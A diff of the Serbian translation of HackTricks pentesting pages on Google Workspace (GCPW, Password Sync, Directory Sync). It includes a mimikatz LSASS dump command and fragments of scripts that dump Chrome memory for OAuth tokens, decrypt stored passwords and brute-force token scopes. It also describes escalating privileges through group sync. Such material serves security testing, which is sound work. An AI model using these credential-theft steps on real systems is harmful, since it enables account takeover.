Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
|
||||
|
||||
### GCPW - Ispisivanje tokena iz memorije procesa
|
||||
|
||||
Sledeći skript može se koristiti za **dump** svakog **Chrome** procesa koristeći `procdump`, ekstraktovati **stringove** i zatim **pretražiti** stringove povezane sa **access i refresh tokenima**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati refresh i/ili access tokene u memoriji!**
|
||||
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretragu** za stringovima vezanim za **access i refresh token**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati refresh i/ili access tokene u memoriji!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump Chrome procesa i pretraži tokene</summary>
|
||||
<summary>Ispisivanje Chrome procesa i pretraga tokena</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -380,7 +380,7 @@ https://www.googleapis.com/auth/userinfo.profile
|
||||
```
|
||||
</details>
|
||||
|
||||
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno bruteforce-ovanoj listi**. Stoga se ovi dodatni opsezi mogu pretpostaviti:
|
||||
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga se ovi dodatni opsezi mogu pretpostaviti:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -463,7 +463,7 @@ https://www.googleapis.com/auth/wallet.chrome
|
||||
```
|
||||
</details>
|
||||
|
||||
Napomena da je najzanimljiviji možda:
|
||||
Napomena da je najzanimljiviji verovatno:
|
||||
```c
|
||||
// OAuth2 scope for access to all Google APIs.
|
||||
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
||||
@@ -762,7 +762,7 @@ curl -X POST \
|
||||
|
||||
**Google Workspace Vault** je dodatak za Google Workspace koji pruža alate za čuvanje podataka, pretragu i izvoz podataka vaše organizacije koji su pohranjeni u Google Workspace uslugama kao što su Gmail, Drive, Chat i druge.
|
||||
|
||||
- **Materija** u Google Workspace Vault je **kontejner** koji organizuje i grupiše sve informacije povezane sa određenim slučajem, istragom ili pravnom stvari. Služi kao centralno mesto za upravljanje **Zadržavanjima**, **Pretragama** i **Izvozima** koji se odnose na tu određenu temu.
|
||||
- **Materija** u Google Workspace Vault je **kontejner** koji organizuje i grupiše sve informacije vezane za određeni slučaj, istragu ili pravnu stvar. Služi kao centralno mesto za upravljanje **Zadržavanjima**, **Pretragama** i **Izvozima** koji se odnose na tu konkretnu temu.
|
||||
- **Zadržavanje** u Google Workspace Vault je **akcija očuvanja** koja se primenjuje na određene korisnike ili grupe kako bi se **sprečilo brisanje ili izmena** njihovih podataka unutar Google Workspace usluga. Zadržavanja osiguravaju da relevantne informacije ostanu netaknute i nepromenjene tokom trajanja pravnog slučaja ili istrage.
|
||||
```bash
|
||||
# List matters
|
||||
@@ -797,7 +797,7 @@ Više [API krajnjih tačaka u dokumentaciji](https://developers.google.com/vault
|
||||
|
||||
## GCPW - Oporavak lozinke u čistom tekstu
|
||||
|
||||
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući enkriptovanu lozinku iz **LSASS** koristeći **mimikatz**:
|
||||
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući šifrovanu lozinku iz **LSASS** koristeći **mimikatz**:
|
||||
```bash
|
||||
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
|
||||
```
|
||||
@@ -809,7 +809,7 @@ Zatim, sa **access token**-om sa opsegom `https://www.google.com/accounts/OAuthL
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Script to obtain the password in clear-text given the access token, encrypted password and resource id</summary>
|
||||
<summary>Script za dobijanje lozinke u čistom tekstu na osnovu access token-a, enkriptovane lozinke i id resursa</summary>
|
||||
```python
|
||||
import requests
|
||||
from base64 import b64decode
|
||||
|
||||
+6
-6
@@ -12,9 +12,9 @@ Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći bina
|
||||
|
||||
Da biste konfigurisali ovaj binarni fajl (i servis), potrebno je **dati mu pristup Super Admin principalu u Workspace-u**:
|
||||
|
||||
- Prijavite se putem **OAuth** sa Google-om i zatim će **sačuvati token u registru (kriptovan)**
|
||||
- Prijavite se putem **OAuth** sa Google-om i onda će **sačuvati token u registru (kriptovan)**
|
||||
- Dostupno samo na kontrolerima domena sa GUI
|
||||
- Dati neke **akreditivne podatke Servisnog naloga iz GCP** (json fajl) sa dozvolama da **upravljaju korisnicima Workspace-a**
|
||||
- Dati neke **akreditivne podatke Servisnog Naloga iz GCP-a** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
|
||||
- Veoma loša ideja jer ti akreditivi nikada ne isteknu i mogu se zloupotrebiti
|
||||
- Veoma loša ideja dati SA pristup preko workspace-a jer bi SA mogao biti kompromitovan u GCP-u i moguće je prebaciti se na Workspace
|
||||
- Google to zahteva za kontrolisane domene bez GUI
|
||||
@@ -47,7 +47,7 @@ U slučaju da je Password Sync **konfiguran sa SA akreditivima**, takođe će bi
|
||||
### GPS - Ispisivanje tokena iz memorije
|
||||
|
||||
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `PasswordSync.exe` i `password_sync_service.exe` i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
|
||||
Pretpostavljam da biste takođe mogli pronaći konfigurirane akreditive za AD.
|
||||
Pretpostavljam da biste takođe mogli pronaći konfiguracione akreditive za AD.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -140,15 +140,15 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GPS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
|
||||
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
|
||||
>
|
||||
> Takođe, refresh token nije važeći u svakoj aplikaciji.
|
||||
|
||||
Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa korišćenjem sledećeg skripta možemo pronaći scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
<summary>Bash skript za brute-force scope-ove</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
|
||||
+10
-10
@@ -4,19 +4,19 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS je ta što se GCDS radi ručno sa nekim binarnim datotekama koje treba preuzeti i pokrenuti, dok je **Admin Directory Sync bezserverski** i upravlja njime Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS-om je ta što se GCDS radi ručno sa nekim binarnim datotekama koje treba preuzeti i pokrenuti, dok je **Admin Directory Sync bezserverski** i upravlja njime Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
U trenutku pisanja ovog teksta, ova usluga je u beta verziji i podržava 2 tipa sinhronizacije: Iz **Active Directory** i iz **Azure Entra ID:**
|
||||
U trenutku pisanja ovog teksta, ova usluga je u beta verziji i podržava 2 tipa sinhronizacije: iz **Active Directory** i iz **Azure Entra ID:**
|
||||
|
||||
- **Active Directory:** Da biste ovo postavili, potrebno je da **dajte pristup Google-u vašem Active Directory okruženju**. Kako Google ima pristup samo GCP mrežama (putem **VPC konektora**), potrebno je da kreirate konektor i zatim učinite svoj AD dostupnim iz tog konektora tako što ćete ga imati u VM-ovima u GCP mreži ili koristeći Cloud VPN ili Cloud Interconnect. Takođe, potrebno je da obezbedite **akreditiv** naloga sa pristupom za čitanje nad direktorijumom i **sertifikat** za kontakt putem **LDAPS**.
|
||||
- **Azure Entra ID:** Da biste ovo konfigurisali, potrebno je samo da **prijavite se u Azure sa korisnikom koji ima pristup za čitanje** nad Entra ID pretplatom u iskačućem prozoru koji prikazuje Google, a Google će zadržati token sa pristupom za čitanje nad Entra ID.
|
||||
- **Azure Entra ID:** Da biste ovo konfigurisali, potrebno je samo da se **prijavite u Azure sa korisnikom koji ima pristup za čitanje** nad Entra ID pretplatom u iskačućem prozoru koji prikazuje Google, a Google će zadržati token sa pristupom za čitanje nad Entra ID.
|
||||
|
||||
Kada je pravilno konfigurisano, obe opcije će omogućiti **sinhronizaciju korisnika i grupa sa Workspace**, ali neće omogućiti konfiguraciju korisnika i grupa iz Workspace u AD ili EntraID.
|
||||
|
||||
Druge opcije koje će biti omogućene tokom ove sinhronizacije su:
|
||||
|
||||
- Slanje emaila novim korisnicima za prijavu
|
||||
- Automatska promena njihove email adrese na onu koju koristi Workspace. Dakle, ako Workspace koristi `@hacktricks.xyz` a EntraID korisnici koriste `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` će biti korišćena za korisnike kreirane u nalogu.
|
||||
- Automatska promena njihove email adrese na onu koju koristi Workspace. Dakle, ako Workspace koristi `@hacktricks.xyz`, a EntraID korisnici koriste `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` će se koristiti za korisnike kreirane u nalogu.
|
||||
- Odabir **grupa koje sadrže korisnike** koji će biti sinhronizovani.
|
||||
- Odabir **grupa** za sinhronizaciju i kreiranje u Workspace (ili označavanje za sinhronizaciju svih grupa).
|
||||
|
||||
@@ -27,31 +27,31 @@ Međutim, imajte na umu da **lozinke** koje korisnici možda koriste u Workspace
|
||||
|
||||
#### Napad na korisnike
|
||||
|
||||
Kada se sinhronizacija dogodi, može sinhronizovati **sve korisnike iz AD ili samo one iz specifične OU** ili samo **korisnike članove specifičnih grupa u EntraID**. To znači da da biste napali sinhronizovanog korisnika (ili kreirali novog koji se sinhronizuje), prvo ćete morati da saznate koji se korisnici sinhronizuju.
|
||||
Kada se sinhronizacija dogodi, može se sinhronizovati **svi korisnici iz AD ili samo oni iz specifične OU** ili samo **korisnici članovi specifičnih grupa u EntraID**. To znači da da biste napali sinhronizovanog korisnika (ili kreirali novog koji se sinhronizuje), prvo ćete morati da saznate koji se korisnici sinhronizuju.
|
||||
|
||||
- Korisnici mogu **ponovo koristiti lozinku ili ne iz AD ili EntraID**, ali to znači da ćete morati da **kompromitujete lozinke korisnika da biste se prijavili**.
|
||||
- Ako imate pristup **mailovima** korisnika, mogli biste **promeniti Workspace lozinku postojećeg korisnika**, ili **kreirati novog korisnika**, sačekati da se sinhronizuje i postaviti nalog.
|
||||
|
||||
Kada pristupite korisniku unutar Workspace, može mu biti dodeljeno nekoliko **dozvola po defaultu**.
|
||||
Kada pristupite korisniku unutar Workspace-a, mogu mu biti dodeljene neke **dozvole po defaultu**.
|
||||
|
||||
#### Napad na grupe
|
||||
|
||||
Takođe treba prvo da saznate koje se grupe sinhronizuju. Iako postoji mogućnost da se **SVE** grupe sinhronizuju (jer Workspace to omogućava).
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da čak i ako su grupe i članstva uvezena u Workspace, **korisnici koji nisu sinhronizovani u sinhronizaciji korisnika neće biti kreirani** tokom sinhronizacije grupa čak i ako su članovi bilo koje od sinhronizovanih grupa.
|
||||
> Imajte na umu da čak i ako su grupe i članstva uvezena u Workspace, **korisnici koji nisu sinhronizovani u sinhronizaciji korisnika neće biti kreirani** tokom sinhronizacije grupa, čak i ako su članovi bilo koje od sinhronizovanih grupa.
|
||||
|
||||
Ako znate koje grupe iz Azure su **dodeljene dozvole u Workspace ili GCP**, mogli biste jednostavno dodati kompromitovanog korisnika (ili novokreiranog) u tu grupu i dobiti te dozvole.
|
||||
|
||||
Postoji još jedna opcija za zloupotrebu postojećih privilegovanih grupa u Workspace. Na primer, grupa `gcp-organization-admins@<workspace.email>` obično ima visoke privilegije nad GCP.
|
||||
Postoji još jedna opcija za zloupotrebu postojećih privilegovanih grupa u Workspace-u. Na primer, grupa `gcp-organization-admins@<workspace.email>` obično ima visoke privilegije nad GCP.
|
||||
|
||||
Ako je sinhronizacija iz, na primer, EntraID, u Workspace **konfigurisana da zameni domen** uvezenog objekta **sa email-om Workspace**, biće moguće za napadača da kreira grupu `gcp-organization-admins@<entraid.email>` u EntraID, doda korisnika u ovu grupu i sačeka da se sinhronizacija svih grupa dogodi.\
|
||||
Ako je sinhronizacija iz, na primer, EntraID u Workspace **konfigurisana da zameni domen** uvezenog objekta **sa email-om Workspace-a**, biće moguće za napadača da kreira grupu `gcp-organization-admins@<entraid.email>` u EntraID, doda korisnika u ovu grupu i sačeka da se sinhronizacija svih grupa dogodi.\
|
||||
**Korisnik će biti dodat u grupu `gcp-organization-admins@<workspace.email>` eskalirajući privilegije u GCP.**
|
||||
|
||||
### Iz Google Workspace -> AD/EntraID
|
||||
|
||||
Imajte na umu da Workspace zahteva akreditive sa pristupom samo za čitanje nad AD ili EntraID da bi sinhronizovao korisnike i grupe. Stoga, nije moguće zloupotrebiti Google Workspace da bi se izvršila bilo kakva promena u AD ili EntraID. Dakle, **to nije moguće** u ovom trenutku.
|
||||
|
||||
Takođe ne znam gde Google čuva AD akreditive ili EntraID token i ne **možete ih povratiti ponovnom konfiguracijom sinhronizacije** (ne pojavljuju se u web formi, morate ih ponovo uneti). Međutim, putem web-a može biti moguće zloupotrebiti trenutnu funkcionalnost da **prikazujete korisnike i grupe**.
|
||||
Takođe ne znam gde Google čuva AD akreditive ili EntraID token i ne **možete ih povratiti ponovnom konfiguracijom sinhronizacije** (ne pojavljuju se u web formi, morate ih ponovo uneti). Međutim, sa web-a može biti moguće zloupotrebiti trenutnu funkcionalnost da **prikazujete korisnike i grupe**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user